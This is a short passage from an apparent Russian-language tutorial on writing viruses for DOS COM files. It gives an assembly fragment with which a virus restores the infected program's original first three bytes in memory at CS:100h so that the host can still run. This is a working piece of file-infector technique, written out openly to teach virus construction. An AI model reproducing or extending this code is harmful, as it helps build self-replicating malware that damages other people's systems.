|
1.7 Восстанавливаем зараженную программу
Как было указано в 1.3 ( п.1 ), вирус должен после запуска зараженной программы восстановить в памяти компьютера ее исходные три байтa ( не на диске, а только в памяти ! ) .Пусть вирус хранит исходные три байта в области "old_bytes".
Итак :
fresh_bytes:
mov al,old_bytes
mov cs:[100h],al
mov al,old_bytes+1
mov cs:[101h],al
mov al,old_bytes+2
mov cs:[102h],al
Вы конечно знаете,что в COM - программе при ее загрузке по адресу CS : 100h всегда находится первая
исполняемая команда .В остальном работа фрагмента
ясна .
|
|
|